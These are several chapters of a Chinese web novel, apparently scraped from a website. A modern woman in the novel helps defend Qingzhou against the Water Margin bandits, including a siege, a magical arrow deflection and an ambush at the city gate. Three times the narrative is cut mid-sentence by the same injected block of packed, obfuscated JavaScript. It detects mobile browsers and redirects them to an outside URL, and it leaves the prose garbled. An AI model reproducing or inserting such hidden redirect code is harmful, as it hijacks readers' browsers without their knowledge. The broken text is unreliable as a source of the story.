郁竺环顾了一下四周,见众人虽已散去,但此处仍不时有士卒匆匆走过,便稍稍凑近韦暄,压低声音道:“大人,黄都监如今还在清风寨,若是能遣一人缒城而下,绕侧翼前往清风寨与他汇合报信,待时机合适,便可与城内军士形成掎角之势,两面夹击那些贼寇,如此一来,胜 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14112155|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 算岂不是更大?” 其实方才一番高谈阔论后,郁竺便一直在心中思量此事。她暗自琢磨着,秦明这次幸未被赚上山去,那他的好徒弟黄信此刻定然还在清风寨紧守着四边栅门呢。清风寨本就自有守备兵力,况且这黄信又素有“镇三山”的名号,如今这“三山”的贼寇真来了,怎的大家倒像是把他给忘了个干净。 不过,虽说郁竺一直记着这么个人,可直至今日,她都还没来得及将名字和人对上号。 “此言极是!倒是我疏忽了,险些忘了这一着妙棋。”韦暄被点醒,也猛然想起这个带兵剿匪后便消失了好些天的黄都监来,连忙道,“可有合适的人选?从侧边安排一人缒城而下,绕侧翼去清风寨倒是不难,只是战场之事瞬息万变,此人也要机灵才行,不知谁能担此重任。” 沉默许久的武松却在此时突然开了口:“大人,我去吧。” 还未等郁竺出口阻拦,韦暄已然双目一亮,当即重重一拍手:“好!果真是好胆识。” 说完,又转头看向郁竺,神色郑重地吩咐道:“那你先行协助武松着手准备一应事宜,趁着这夜色尚浓,尽快出城去寻那黄都监,万不可有误,此事关乎我青州城之安危,切要小心谨慎!” 话已至此,郁竺再也推辞不得,只得答应,不过颇有一种搬起石头砸自己脚的感觉。 二人旋即来到军器库,寻了个斗大的箩筐。待公差将那箩筐抬到东南侧城墙上后,趁着军士们埋头专心栓紧麻绳的当口,郁竺轻轻拉了拉武松的衣袖:“兄长此番夜缒而出,说不定会成就一番‘烛之武退秦师’的佳话呢。” 武松闻言放下手中的麻绳,抬眼看了看郁竺,见她虽是说笑,眼中却不乏担忧。 他明白郁竺所想,便轻声回道:“烛之武夜缒而出是去见秦伯求退兵,我是去求援军,哪里就一样了。” “兄长这般想,我便放心了。” “妹子无需多虑。”武松拍了拍郁竺的肩膀,“我既已是官府中人,哪怕是和那人有昔日情分,也分得清轻重,不会在此时恣意妄为。” 说到此处他顿了一下,郁竺抬眼看去,只见幽暗中武松面上竟有丝轻松的笑意:“况且妹子不是说过,人得为自己而活。” 见武松将话说到如此份上,郁竺终是舒了一口气。 军士们已将麻绳固定好,武松跳到箩筐内,被慢慢往城下放去。郁竺站在城楼上,静静地目送,直至那身影彻底消失在那一片黑暗之中。 轻轻叹了口气,郁竺转身往偏门处走去。她在偏门处转了一圈,只见众人各司其职,一切皆井井有条,心中稍感宽慰,便径直往阜财门行去,与韦暄汇合去了。 直至两更时分许,忙碌的布防方才基本安置停当,城内原本喧嚣慌乱的氛围也渐渐平息了下来,趋于安静。不多时,慕容彦达带着一干人等前来城楼上巡视查看一番。韦暄见此情形,只得恭敬地跟在慕容彦达身后,将之前安排的种种事宜逐一详细禀报。 那慕容彦达早已从先前的惊恐中缓过劲了,恢复了往日的做派,少不得对韦暄的安排指手画脚,方方面面细节都做了些调整,从城头的器械摆放,到守城士卒的调配站位……郁竺在一旁默默听着看着,心中暗自思忖,这些调整虽说倒也不至于坏了大事,可若不做的话,也并无大碍。 只不过慕容彦达是目前青州行政级别最高的官员,他既已发了话,众人自是不敢违抗,只能依令而行。因此韦暄带着一众官员忙活到后半夜,直到丑时才在南城门上的角楼歇下。 因郁竺是女子,她便一人独自歇在西侧的角楼,其余人则在东侧角楼睡着大通铺。 兵临城下,又是一个难眠之夜。 27.第 27 章 “呜~”刺耳的号角声划破寂静,郁竺从睡梦中陡然被惊醒,脑海中瞬间闪过一个念头——贼寇攻城了! 推开窗户,天刚蒙蒙亮,晨曦的微光努力穿透着尚未散尽的晨雾。 郁竺飞快穿好鞋子,跑到对面的角楼,韦暄等人已不见踪影,想必是早已奔赴各处指挥守城去了。 只听四周喊杀之声震耳欲聋,仿佛要将晨雾撕碎。郁竺沿着城墙一路疾奔,边跑边焦急地寻找韦暄的身影,跑了好一段路,始终未能寻见,无奈之下,只得暂且停下脚步,朝着城下望去。 这一望,可把她惊出了一身冷汗。 冬季城壕水浅,已有不少贼寇越过壕沟,靠在墙根下倚着云梯准备抢城了! 青州城墙不过二十五尺高,只见一个贼寇身手极为敏捷,如猿猴般飞快地窜上云梯,眨眼的工夫竟然就爬了一大半。 眼见贼寇如此迅猛逼近,转眼就要到自己跟前,郁竺身边那个军士竟吓得面色惨白,双腿一软,“扑通”一声跌坐在地,手脚并用向后蹭去。 郁竺气得破口大骂,情急之下连忙捞住手边一个长钩,全然不顾从头顶呼啸而过的流矢,伸长身子,使出全身的力气用力撬动那云梯的顶端。 不知是不是春节前后练的“强身健体拳”起了作用,只听得“嘎吱”一声响,那云梯竟真被她撬得缓缓向后倾倒而去。梯子上的贼寇毫无防备,顿时随着倾倒的梯子重重跌落在地,挣扎了一下便不动弹了。 郁竺眼见危机暂时解除,正要松口气,却忽然听见耳畔传来一阵尖锐的呼啸声,那是箭划破空气的声音。 还未反应过来,只觉得一阵天旋地转,整个人就被重重扑倒在地。 “小心,花荣号称小李广,箭术极准,切不可在城墙上露头。” 郁竺来不及后怕,循声看去,救了她一命的竟是昨天夜里守城的那个押官邝英。 越过他看去,韦暄就在身后几步。只见他整个人鼓鼓囊囊,想必是轻裘下又加了件皮甲。 郁竺放心下来,她就怕韦暄被花荣“擒贼先擒王”,一箭射死在青州,那她的努力岂不是付诸东流了,想了想又叮嘱邝英道:“还劳烦押官寸步不离跟着通判大人,确保他的安全。” “省得省得。”邝英满口应是,“就算卑职被射成刺猬,也不能让大人破一点皮。” 韦暄没有被他的话逗笑,忧心忡忡看着城楼下:“攻势比我们想象的要猛烈很多,恐怕……” 韦暄欲言又止,郁竺却知道他想说的是什么。 抽调的狱卒、民壮已经到位,城墙上军士密布,看似坚不可摧,但近距离观察,却能发现慌乱无序弥漫在人群中。 郁竺甚至看到一个手持神臂弓的士兵,摸索半天不知该如何将箭架上。 青州虽是东方重镇,但是檀渊之盟以来,北宋和北方的辽国已经保持了近百年的和平,太久没有经历过战争的军士,早就已经不知战争为何物了。 如此下去,恐怕士气会先崩溃…… 可惜这不是此刻能够解决的问题,宋军的战斗力被后人诟病了一千多年,昨日要安排周全之事太多,哪里空再给军士来一堂战前心理辅导。 想到此处,郁竺只得先稳住韦暄道:“大人不可轻言,当务之急,您得亲自督战以振士气。” 阜财门下的进攻仍在继续,三山贼寇面对整个南城墙设置了多个进攻点,只要一处得手,就能登上城楼,抢夺城门,放大队人马进城。 这种铺面广的进攻是十分棘手,郁竺想了想又补充道:“大人暂且在阜财门处督战,我绕城而行,若有战况激烈的地方,便将弓弩手调去支援,到时大人再去那处,如此一来,也好更为周全地应对各处的战况。” 韦暄本身也没打过仗,见郁竺如此安排,听起来井井有条,自然是连声说好。 辞别了韦暄,郁竺在城楼上绕了一圈,查看了数处屯兵点。 一路看下来,哪里的情况都是大差不差,不过她意外地发现不少军士竟然都认得自己,知道她是昨晚在通判身边出谋划策的那个智囊,态度十分恭敬。甚至在那战况不算特别激烈之处,有个别军士见到她后,会停下手中的动作,站直身子向她略行一礼。 这是个惊喜的发现,这意味着她在关键时刻或许能够指挥得动这些人。郁竺暗叹一声,不得不说,有时候这些被文人称为“赤佬”的军士,反而是最不迂腐守旧的人。 最终郁竺在偏门处的城墙停下来,这里是除了阜财门外,贼寇攻势最激烈的点了,青州城内仅有的两座霹雳炮,一座在阜财门上,一座就在此处。 那霹雳炮虽说射程不远,威力也不算巨大,但是对付快要接近的敌人却是十分实用,一阵炮轰箭射,城壕以内的贼寇竟被打到一大片。 只不过因为杀伤力不够,郁竺眼看着不少敌人倒下后,挣扎几下又能重新爬起来向城门进攻。 “继续!开炮!”郁竺感觉自己此刻仿佛李云龙附体,恨不得亲自上阵。 却听身边一个军士怯怯道:“大人,没有炮弹了……” 说这话的只是一个普通的大头兵,他不知道郁竺一个女子到底什么官职,只知道她得通判器重,喊大人肯定没错。 “什么?”郁竺震惊地看向那霹雳炮,昨天她还在暗暗嘲笑贼寇炮弹不足,哪知道今天这事情就轮到了自己身上。 忍住骂爹的的冲动,郁竺问道:“桐油还有多少?都泼在毯子上点燃。” 这也是昨夜布置好的防御攻势,城墙上每隔一段距离就有突出的马面,马面处的墙体厚实坚固,其他地方就稍显薄弱,为此这些地方都铺了厚厚的毯子保护墙体。 “也就三桶,不多了……” 郁竺听闻此言,心中顿时涌起一股深深的无力感。 “大人,小的有一个法子,或许能行得通。”旁边一个民壮打扮的汉子突然凑上来说道。 “快说来听听!” “我们山上都用金汁……”见郁竺不太明白的样子,那人又解释道:“就是烧得滚烫的粪水,泼下去,那叫一个厉害。” 听了这解释,郁竺不禁暗暗咋舌——确实厉害,兼具烫伤和感染的功效,怎么不算生化武器呢。 “那行,你这就带上几个人,速速去准备,切莫耽搁了时机!” 那汉子得令,立刻精神一振,不敢有丝毫怠慢,冲着周围几个同伴使了个眼色,几人便径直朝着城内的粪窖飞奔而去。 此时,城墙上的情形却越发危急,原本依靠霹雳炮还能稍稍压制住贼寇攻势的局面,随着大炮没了声响,瞬间急转直下。 城下的贼寇们见此情形,愈发张狂,攻势如潮水般一波接着一波,越战越猛,城墙上的官军本就气势低弱,渐渐有些招架不住,且战且退起来。 郁竺心急如焚,眼睁睁地看着官军不断后退,当下也顾不得许多,母狮子般猛地抄起身边的八棱大棒,不由分说朝着后退的军士们横扫竖打,勉强遏制住了一些颓势。 倒是民壮比官军还要勇猛一些,毕竟身后就是自己的家,若是城破了,家人都要遭受贼寇的残害,他们退无可退。 郁竺看得清楚,城下一个须发横生的贼寇头领怒马突出,直扎城根。城墙上的两个民壮连忙将弓弩一齐对准他,两支箭同时贯穿他的身体,那头领惨叫一声,便从马上直直地摔了下来,身边喽啰急忙一哄而上,将他尸体抢回。 不知是不是某天罡地煞星灭了一颗,容不得郁竺感慨,震天的喊杀声再度传来。 就在这千钧一发之际,一股奇臭无比的味道钻入她的鼻腔。 她转身看去,只见先前那两个跑去准备金汁的民壮,此刻正抬着一口大缸,吃力地朝着城墙边奔来。那大缸里头的东西像煮沸的开水一般,正腾腾冒着热气,散发着令人作呕的恶臭。 两人一边抬着缸,一边扯着嗓子大喊着“让开!让开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14125720|148727||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !”,那声音在这喊杀声震天的战场上显得格外突兀。 周围的军士迅速给他俩辟开一条路,待两人奔到城墙边,毫不犹豫地将那大缸猛地一倾,“哗啦”一声,金汁倾泻而下,伴随着蒸腾起的恶臭,城下顿时传来一片此起彼伏的惨叫声。 偏门这处闹出的动静着实不小,味道更是散得远,其他屯兵点见效果奇佳,也纷纷效仿,一时间整个青州城外臭气冲天。 郁竺见状松下一口气来,问那提出此策的民壮:“你方才说山上?你是哪里的村民,叫什么名字?” 那民壮挠了挠头,不好意思道:“俺叫马三,是清风山上的,前两天被捉来了,还以为要砍我的头,没想到大人竟然将我们放了出来。” 郁竺听得一阵心惊,这人竟然是前几天自己俘虏的清风山贼寇! 她已然记不清昨天韦暄安排的哪个官员去负责组织民壮的事情了,只是这人竟然将监牢里的贼寇俘虏放出来御敌。 幸亏他们没有什么里应外合的计划,才未酿成大祸。 马三见郁竺面色不佳,还以为自己说错了话,讷讷道:“大人……不会杀俺们吧,俺们刚才这算立功了不……” 见马三误会了,郁竺连忙解释道:“自然不会,你且放心,自然算得上大功一件,战后我自会向韦通判报上你等的功劳,且赦你们之前的事无罪。” 那马三一听,连忙砰砰地磕起头来:“大人对俺们恩同再造啊,俺们也不是自己要去当那强盗,不过是因为家舍就在清风山,被那些人强行掳去的……” 周围一些和马三一道的人,见状也连忙向郁竺磕头,一时之间感谢之声不绝于耳。郁竺还从未受过这等大礼,正要将人扶起,却听见城下又传来喊杀之声。 她慌忙探出身朝城下看去,来者竟是朝廷官军的衣着,郁竺眯起眼睛,仔细在人群中寻找武松的身影,却发现领头那人,竟是初到青州那天唤她婢子的那个方脸官员。 原来他就是黄信! 想来武松早已和黄信取得联系,一队人马埋伏在后面山林间,就等贼寇出现溃败之势时来个两面夹击。 果然,黄信带着百十余精骑直冲而来,如虎入羊群,瞬间将阵前的贼寇冲散;武松更是战神附体,如切瓜般,手起刀落,一刀一个贼寇,鲜血飞溅得他满身都是。 就在此时,贼寇阵中突然有一个胖大和尚猛地跳了出来,手中挥舞着一根碗口粗的禅杖,气势汹汹地朝着武松劈了过去。 禅杖带起的风声呼呼作响,劈裂了四周的空气直奔武松头顶。郁竺在城墙上瞧得真切,心下大惊,还未来得及出口提醒,就听到从敌阵深处传来一声大喊:“不可害了武松兄弟!” 这一声喊,可不得了,不光是那胖大和尚止住了动作,周围的士兵们亦纷纷迟疑了一下。 两军阵前,如此言语,分明攻心之计,这不明摆着在暗示武松和这些贼寇有所关联么,叫那周围正浴血奋战的官军听了心里作何感想? 郁竺循声看去,只见一个黑矮胖的汉子被一个英挺的青年将军护在身后,心下一横,直接站到城垛上朝那黑矮汉子喊道:“宋江!你本也是官府一员,受朝廷恩泽,如今如何做了这不忠不义的反贼?” 话音未落,一支利箭破羽而来,郁竺闭上眼睛,只听见城下武松撕心裂肺的声音。 所有人都以为郁竺在劫难逃,却听 “叮” 的一声脆响,那箭在距离郁竺仅仅一寸的地方,突然碰到了一堵无形的墙壁般,猛地朝下坠去,掉落在地。 城下交战众人不由得被这一幕惊呆了。 那些贼寇本就被金汁浇得皮开肉绽,狼狈不堪,这下真以为官军有天神护体,更是面如土色,丢盔弃甲,急急忙忙向远处撤去,丢在城根的云梯也顾不得搬走,任由其横七竖八地躺在那儿。 城外的官军见贼寇溃败逃窜,一把大火,将那些云梯都烧成了灰烬,一时间火光直冲云霄,遮天蔽日。 28.第 28 章 经此一役,三山贼寇暂且退到了十几里之外,不见踪影。 韦暄见状,连忙叫上秦明和郁竺一起到城外清点战果。 只见阜财门的城楼上猬集着无数的箭矢,墙体及墙根附近的土地一片焦黑,不少贼寇的尸首叠在城下,早已面目全非。 不一会儿,便有公人前来禀报,此番剿灭贼寇一百九十二人,被流矢射死的军士二十三人、民壮三十四人,还有两个官府公吏也丧命于此,其中竟有一个是此前曾为难过郁竺的刘押司。 郁竺没有为此生出半点快意,犹温的余烬,裹挟着空气里的恶臭扑面而来,眼前堆成小山的尸体,让她胃里一阵翻江倒海。 物伤其类,秋鸣也哀。 武松与黄信原本就在城外,此刻也匆忙赶来和韦暄会合。一行人寻了处离城门仅有三十余步的破庙,打算在此歇脚片刻,只等军士们将城根下那一片战后的狼藉打扫干净。 从清晨时分起,大敌当前,众人尽皆全神贯注于守城之战,压根没有心思顾得上进餐食。这会儿战事稍歇,紧绷的神经一松,才纷纷觉得饥肠辘辘起来。 黄信从怀里掏出两包红烧腐干,毫不在意地坐在那烧得“焦头烂额”的菩萨脚下:“韦通判、师父,来两块垫垫肚子吧。” 说罢又扔了块给武松,还不忘补上一句:“和你妹子分分罢。” 郁竺赶忙接过,道了声谢,黄信这才对她道:“先前多有得罪,姑娘别在意啊,我要早知道你有这些好本事,那日也不敢出言不逊了哈哈。” 黄信做出懊恼的样子。 他这般坦率,反而叫人心生好感,何况此前根本算不上得罪,郁竺连忙道:“都监言重了。” 秦明好奇道:“方才我就想问,分明花荣那箭就到了姑娘跟前,怎么忽然就转了方向。” 这个自然是系统的功劳。 当时情况紧急,她担心宋江再说出什么不利于武松、又动摇军心的话,便一心想要将注意力吸引过来,也没和系统打招呼,就直接莽了一把。所幸,系统还是十分靠谱的,关键时候果真触发了新手礼包里面的“金钟罩”。 可她知道,自己当时除了上述顾虑外,还隐隐有个上不得台面的想法——她想出风头。 这个世道女子地位太低,她苦心经营至今,仍然是个没有身份的私名,于是灵光一闪,想着利用系统给自己玩一把“造神”。 古代开国皇帝登基后不都是给自己编出一堆“出生时天上露红光、走到哪里都有祥云跟着”的人设么。虽说她绑定的不是女帝系统,可若想有所作为,也需要极大的权柄才行。这种神乎其神的人设,应该是有点用的,多少能铺一条路出来。 只是这些想法自然不能对外人说道,郁竺飞速现编了一个借口:“此前学过一些粗浅的法术,当时便念了一段‘避箭诀’,这诀时常不灵,不想这次奏效了,不然我可就一命呜呼了哈哈。” 此时道教盛行,官方和民间每逢灾祸或者节庆,总会请道士做法事,更有“五雷正法”这样的顶流法术在各门派间流行。郁竺心里明白,这些所谓的法术说到底不过是各种物理、化学、气象学知识的杂糅罢了,可不妨碍当下的人们对此深信不疑。 果然,秦明听后啧啧称奇:“姑娘真乃神人也,既善财税,又通兵法,还懂这些奇门遁甲之术,莫不是龙虎山张天师的传世高徒?” 他这思维飞跃得太快,郁竺“嘿嘿”了两声,下意识准备谦虚谦虚,却听见黄信在一边说道:“无论是否为张天师高足,郁姑娘此番奇才,实属少见啊。韦大人,您可得早些安排个合适的职位,让郁姑娘能安心地留在青州才是,不然哪天稍有懈怠,姑娘不辞而别,那可真是憾事一件咯!” 如此言语,善意十足,将郁竺不便启齿之意以玩笑的方式讲了出来。 这倒是十分出乎郁竺的意料。 她哪知,黄信本就是个八面玲珑、善于逢源之人,但凡遇到可以做顺水人情的事儿,向来都是毫不犹豫地推上一把。方才经过一番察言观色,再结合昨夜和武松的交谈内容,他又怎会看不出韦暄对郁竺的那份倚重,所以便瞅准了时机说出这番话来,也好落个人情。 韦暄一听黄信所言,心中还真被说得意动。早在方才有人来禀报死了两个公吏时,他就想到了此事,此前他也确实承诺过。 只不过他在青州呆了有些时日,早已不是那个刚来时那般初生牛犊不怕虎的愣头青,顾虑倒是多了起来,开始担心光明正大任用一个女子作为官府公吏,会不会有些惊世骇俗。 毕竟郁竺以私名的身份跟在自己身边,虽说有些暧昧不清,却更好解释些,何况自己在银钱上也没亏待过她。 武松将几人的话一个不落全都听在耳朵里,他对郁竺身上发生的那些颇为奇怪的事情已经见怪不怪了,不用多想都知道自家妹子此刻又在忽悠人。不过管他“避箭诀”是真是假,黄信将台阶递到这儿,赶紧抓住机会为妹子谋个好处才是真的。 于是他笑着,以一个兄长的身份闲话一般:“我妹子虽说有几分本事,毕竟是个女子,在这世上行走诸多不便。偏她要强,事事不甘落于人后,我也时常担忧,不知以她的性子,以后嫁个什么人家才好,要是远了,我要还想现在这般护着她可有些艰难。” 韦暄闻言,内心的天平又开始摇摆起来——是啊,万一郁竺哪天远嫁了,谁来帮他料理事务?他们兄妹感情好,若是武松也一起走了,自己岂不是一下子少了两个得力的帮手!若是给她一官半职,以她的个性定会一门心思扑在公事上,说不定就不嫁人了,那天在瓦肆她不就是这么说的么…… 郁竺如何看不出韦暄的踟躇,难得众人皆在为她说话,她自己又何尝肯放弃这机会。 这些天她也有些熟悉韦暄的性子,略一思忖,便试着以退为进道:“大人知遇之恩,我已是感激不尽,且大人一心为公,所作所为皆是为了一城安稳、百姓福祉,能为大人效力,已是我的福分,哪里还有其他奢求。” 这番话,恰似那挠到痒处的妙手,着实把韦暄捧得极为舒坦,直说到了他的心坎上——他本就是一心只为公事,所为皆是出于公心,有何好攻讦的。当下便咬了咬牙,下定决心道:“无妨,此事包在我身上,无非和慕容知府通禀一声即可。” 又问一旁黄信道:“都监可曾留意方才战死的两个公吏是何人?” “一个是节级李享,一个是押司刘玉甫。” “节级整日里和囚犯打交道,那些人穷凶极恶,这活不适合姑娘家,便顶了刘押司的缺吧。” 就这般,韦暄三言两语之间,便径直给郁竺定下了职务。 吏算不得官,任命也无什么复杂的程序,只需查清她身家清白,在八字墙上公告个一周,从此旁人见到她就要喊她一声郁押司了。 虽说郁竺身家不算多清白,但是作为韦暄保荐的人,加上她和衙门里的大多数人都已熟识,谁会在这事上找不痛快呢。 因此,只要过了慕容彦达那一关,这事情就算板上钉钉了。 郁竺深感自己这小吏的职务也来之不易,吏职在达官贵人眼里根本不够看,在百姓心中名声也不好听,自己得来却破费周。 不过,好歹也算迈出了关键性的一步,至此以后,她才真正算得上官府的人,做很多事情便是师出有名了。 闲话完毕,韦暄又忧心忡忡起来:“这些贼寇此番兴师动众,不知这一退去会不会卷土重来。” 此话一出,原本空气里那轻松的氛围顿时荡然无存。 秦明和黄信对视一眼,此次战事说到底还是因为他俩引起的,若是黄信在清风寨没有被贼寇将花荣劫走,若是秦明第一次出征就能将清风山荡平,便也不会引出后面慕容彦达向朝廷搬救兵,逼得三山一齐出马的事情。 如今贼寇虽然退却,但也损失不少官军,城墙亦有损毁,二人虽守城助战有功,只怕是还不能抵了之前的过,毕竟一个贼寇头目都尚未捉到。 且若说三山贼寇如此轻易便被打退,不正显得他们二人此前的行径很无能么? 想到此处黄信斟酌道:“以下官浅见,怕是不会轻易退去,晚上定然还要来犯,不若让我和师父镇守,设下埋伏,必将那反贼花荣生擒了。” 韦暄点点头,却听郁竺问道:“都监打算如何埋伏?” “便点些弓箭手守在城外,提前设置下铁蒺藜、绊马索……”说到此处黄信自己都感觉有些不可行。 三山此次进攻人数众多,就算战死一百九十余人,也还有三百多人,且晚上再来时还有可能增加援兵,若想埋伏有效,而不是被反歼,城外起码要布置四百人以上,且城外地势开阔,想要悄无声息地设下埋伏,实在是难上加难。 于是他摇了摇头:“罢了罢了,细细想来,这法子怕是不太行。那花荣也是名将之后,应该是不会轻易中此埋伏。” “不光花荣。”郁竺接过话头,继续说道,“那宋江本是郓城一个小吏,因失手杀 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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宋江看着这个脸上一大块青斑的汉子——此人曾经是殿帅府制使,武艺高强,更重要的是,他命途多舛,数次犯下大罪,遇赦不宥,毫无退路,若是这样的人愿意为自己所用……思及此处,他连忙从首座上快步走下来,紧紧握住杨志的手:“杨制使,此去可要务必小心呐!切不可莽撞行事,一切以自身安危为重呀!” 杨志见宋江如此轻易地便答应了自己的请求,心中倒是微微一愣,未曾想到竟会这般顺利。不过,他既然主动开口请求出战,那自然也是有着自己的一番考量的。 他做殿司制使时,押运花石纲在黄河里翻船失陷,后来被梁中书提拔为管军提辖使,又在黄泥冈丢了生辰纲,因此,有人便嘲弄他“见水泽即灾”,这话实在难听。 他毕竟也是杨家将后人,如何能任人辱没祖宗名声。方才听到那探子来报,说是水门守备松懈时,他便起了念想。 届时他从水门杀入,打开城门,来个里应外合,何愁青州城不破?如此,自己那遇水则灾的名号,看谁还说得出口! 花荣到底想得更细些,叮嘱杨志道:“青州通判韦暄手下有一名女子,就是今日使妖法避开我箭的那位,制使务必小心她,我探得那晚官军在城外埋伏,捉拿我等兄弟一事,也有她参与其中。” 宋江亦道:“此女心思狡猾,留着是个大祸,若是制使寻得机会,定要将她杀了。只是我兄弟景阳冈打虎的那个武松,如今也在青州,此人是条好汉,不可害了他性命。” 杨志将众人嘱托一一记下,又点了五十余个水性好的喽啰,一行人往青州城门下进发。 此时正值夜色深沉,四周一片静谧,唯有众人前行时的脚步声显得格外清晰。 因带的人不都是二龙山兄弟自家,杨志担心这些人不听使唤,又闹出当初黄泥冈上那些事情,便提起十分精神,只要有人稍微显出一丝松懈,便立即抽打上去,以至于到青州城下时,整个队伍全都战战兢兢,如履薄冰,不敢发出丝毫声音。 杨志见此情形,心中倒是颇为满意,暗自思忖着,此番行动若是能够成功,那可便是自己的成名之战了。 只见那青州城下,南阳河从水门悠悠流入城内,水门的栅栏内,偶尔能瞧见一个巡逻士兵举着火把绕行而过,那光亮在黑暗中晃过,随即又隐没在夜色之中。 杨志估算好巡逻到栅栏前间隔的时间,做了个手势,五十余个喽啰全都脱得赤条条,分批往水里扎去。 不一会儿,便有喽啰翻过水下栅栏,在城内露了头。 看来水下没有封死,成了! 杨志随即脱了衣服,顾不得河水寒冷刺骨,一头钻进去。 29.第 29 章 正月里的夜晚,寒意刺骨,那河水更是冰冷得如同千万根细密的针,扎遍了杨志的全身。 他憋着一口气,在水下摸索了许久,发现水门的栅栏下埋着不少杈子——这是用来阻碍战船前进的军事设施。 “这是正常的。”杨志默默告诉自己,“既然设置了杈子,说明水门守备松懈不太可能是陷阱,这次应该是赌对了。” 他深吸一口气憋住,然后在杈子间仔细寻找能容身的缝隙,好不容易找到一处,便用力从那狭小的空间挤过去,尖锐的木刺在身体上划出了一道道浅浅的血痕,丝丝痛感传来,但此刻他也顾不上许多了。 “呼~”,杨志在憋着的那口气快到极限时,终于浮出了水面。 他又向远处看了看,发现先前在水门处巡逻的那个小兵,此刻正偷偷摸摸地从怀里摸出一个酒壶,鬼鬼祟祟地找了处草垛,猫着身子躲了进去,看样子是想偷懒。 “天助我也!”杨志心中暗喜,赶紧手脚并用从水中爬了上去。 身体脱离水面时带出来的哗啦啦的声音,在这寂静的寒夜中显得格外突兀,但好在寒风呼啸,那声音很快便消散在风中,并未引起任何人的注意。 他向外做了个手势,城外的手下尽数跳入水中。 与此同时,宋江在率领大队人马,在城外一处隐蔽的地方,密切注视着水门发生的一切。 按照此前商议好的计划,杨志先率小股力量从水门悄悄潜入城内,然后在城内各处放火,以此引起慌乱,如此一来,势必会分散城门上的守备兵力。等城内乱成一团之后,宋江就率领在外的人马趁机攻城,打官军一个措手不及。 届时,杨志在城内负责策应,如果能成功抢夺城门的控制权自然是再好不过,那样便可一举打开城门,直接夺了青州城;倘若城门守备力量太多,那就在城内制造混乱,让官军腹背受敌,陷入困境。 如今,杨志率领的小股人马已经全部从水门入城了,只待…… 宋江不由得闭上了眼睛,在心中默默祈祷着。 夜色如墨,寒风呼啸。 只见城门内先是隐隐约约地荡出几缕烟,那黑色的烟在夜幕的笼罩下,看起来并不真切,仿佛是有人不小心蹭在天幕上的石灰,若有若无。 宋江按兵不动,依旧紧盯着城门方向。 又等了片刻,烟雾渐浓,只见城内几处亮火光。 紧接着,城墙上的守备军士们开始慌乱起来,不一会儿,便有一半的兵力匆匆撤了下去,看样子是去城内救火了。 宋江见状,深吸一口气,猛地抽出腰间的马鞭,对着埋伏在周围的手下发号施令道:“攻城!” 一声令下,匪寇们顿时从四面八方一涌而出。 只见众人推着壕桥、冲车,扛着云梯,潮水般直向城墙根下涌去。一时间,喊杀声震天动地。 城墙上的守备军士仓促应战,慌忙将檑木、石块向下砸去,只可惜匪寇有了上次的经验后,轒辒车先行,守军投下去的武器并未对他们造成多大伤害,大批人马转眼间就越过了城壕。 攻城车巨兽般撞击着城门,发出轰隆隆的巨响。 宋江在队伍的最后,极目远眺,只见秦明立在城头上骂娘,手中的八棱大棒抡得飞起,却也阻止不了四周的军士溃散而去。 见状,他冷笑一声:“秦统制啊秦统制,我念你是条好汉,对你以礼相待,你却如此恩将仇报,便休怪宋江无情了。” 正要发起总攻的命令,却见那青州城门的吊桥吱呀吱呀地放下来,宋江先是愣了一下,继而狂喜——定是杨志夺了城门! “杀进城去,拿了那些个滥官害民贼徒!”他马鞭一指,激动高呼。 吊桥既已放下,城门撑了没多久就被轻易破开,看起来官军确实是猝不及防,连千斤闸都没来得及放下。 王英、燕顺等一马当先,率先杀进城去,身后扬起无数尘土。 鲁智深、郑天寿、李忠领着步军紧随其后,花荣则护在宋江左右,跟在队伍的最后方。 从外看去,敞开了一半的城门里四处火光,王英、燕顺不疑有他,双腿一夹马腹部,纵马高高跃过城门前的拒马桩,直直冲向城内。 马蹄声如暴雨打落地面,在空旷的城内回响。 这景象与他们想象中的大相径庭,没有纷乱哭嚎,几乎不见一个百姓,也看不到守备军士的身影。 燕顺心下疑窦丛生,不祥的预感自心中涌起,正想询问身边的王英,却见他死死盯住不远处站着的一名貌美女子,双眼放光,丝毫不顾周身反常之处,猛一挥马鞭,竟直直朝那女子冲去。 燕顺有心阻拦,但为时已晚,也只好驱马随王英而去。 就在距离那女子仅有几步的地方,燕顺只觉得身下马蹄猛地一陷,紧接着一阵天旋地转,竟连人带马摔进一个大陷坑内。后面的人因马速太快,根本来不及勒住缰绳,也接二连三地摔入坑中,一时间人喊马嘶,乱作一团。 此时方有人反应过来,连忙高声急呼:“中计了,快撤!” 后方的鲁智深此时早已过了城门,听到那喊声,刚想转身撤离,却见身后突然冒出一个全副武装的将军,挥舞着手中的旗帜,厉声下令道:“关城门,放箭!” “嗖嗖嗖”箭矢密集如雨水般射来,鲁智深怒目圆睁,怒吼一声,将手中禅杖挥舞得密不透风,箭矢被禅杖挥弹向四周飞去,火星四溅。 